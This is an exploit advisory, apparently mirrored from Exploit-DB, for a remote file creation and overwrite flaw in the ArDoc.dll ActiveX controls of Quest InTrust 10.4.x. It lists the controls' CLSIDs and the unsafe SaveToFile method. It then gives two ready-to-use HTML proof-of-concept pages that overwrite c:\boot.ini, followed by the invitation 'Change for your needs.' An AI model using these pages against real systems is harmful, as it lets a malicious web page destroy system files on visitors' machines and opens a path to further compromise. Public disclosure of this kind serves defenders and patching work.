Quest InTrust 10.4.x – ReportTree / SimpleTree Classes

  • 作者: rgod
    日期: 2012-03-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18672/
  • Quest InTrust 10.4.x ReportTree and SimpleTree Classes
    ArDoc.dll ActiveX Control Remote File Creation / Overwrite
    
    homepage: http://www.quest.com/intrust/
    
    description: "InTrust securely collects, stores, reports and 
    alerts on event log data from Windows, Unix and Linux systems, 
    helping you comply with external regulations, internal policies 
    and security best practices."
    
    
    download url of a test version:
    http://www.quest.com/downloads/
    
    file tested: Quest_InTrust---Full-Package_104.zip
    
    Background:
    
    The mentioned product, when installed, registers two classes
    with the following settings:
    
    binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll
    CLSID: {C6FAAD6A-68AE-452B-9F7A-9293408F51EF}
    ProgID: ARDOC.ReportTree.1
    Implements IObjectSafety: yes
    Safe For Scripting (IObjectSafety): True
    Safe For Initialization (IObjectSafety): ?
    
    binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll
    CLSID: {EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB}
    ProgID: ARDOC.SimpleTree.1
    Implements IObjectSafety: yes
    Safe For Scripting (IObjectSafety): True
    Safe For Initialization (IObjectSafety): ?
    
    According to IObjectSafety interface, this control is safe
    for scripting then Internet Explorer will allow scripting
    of this control.
    
    Vulnerability:
    both classes expose insecure methods (read/write):
    
    
    ...
    /* DISPID=34 */
    /* VT_BOOL [11] */
    function LoadFromFile(
    /* VT_BSTR [8]*/ $bstrFileName
    )
    {
    /* method LoadFromFile */
    }
    /* DISPID=35 */
    /* VT_BOOL [11] */
    function SaveToFile(
    /* VT_BSTR [8]*/ $bstrFileName
    )
    {
    /* method SaveToFile */
    }
    ...
    
    SaveToFile() allows arbitrary file creation and overwrite.
    
    The resulting file has the following header:
    
    D0 CF 11 E0 A1 B1 1A E1 00 00 00 00 ...
    
    This seems a Microsoft Office file.
    
    As attachment, two pocs, overwriting the boot.ini file. Change for your needs.
    
    Other attacks are possible, including remote code execution
    if the attacker is able to control file content.
    At the time of report, however, this could not be achieved. I
    will post updates on this if demonstrated.
    
    
    
    <!--
    Quest InTrust 10.4.x SimpleTree Class ActiveX Control Remote File Overwrite
    
    binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll
    CLSID: {EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB}
    ProgID: ARDOC.SimpleTree.1
    Implements IObjectSafety: yes
    Safe For Scripting (IObjectSafety): True
    Safe For Initialization (IObjectSafety): ?
    -->
    <!-- saved from url=(0014)about:internet -->
    <html>
    <object classid='clsid:EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB' id='obj' WIDTH=640 height=480 />
    </object>
    <script>
    obj.SaveToFile("c:\\boot.ini");
    </script>
    
    
    <!--
    Quest InTrust 10.4.x ReportTree Class ActiveX Control Remote File Overwrite
    
    binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll
    CLSID: {C6FAAD6A-68AE-452B-9F7A-9293408F51EF}
    ProgID: ARDOC.ReportTree.1
    Implements IObjectSafety: yes
    Safe For Scripting (IObjectSafety): True
    Safe For Initialization (IObjectSafety): ?
    -->
    <!-- saved from url=(0014)about:internet -->
    <html>
    <object classid='clsid:C6FAAD6A-68AE-452B-9F7A-9293408F51EF' id='obj' />
    </object>
    <script>
    obj.SaveToFile("c:\\boot.ini");
    </script>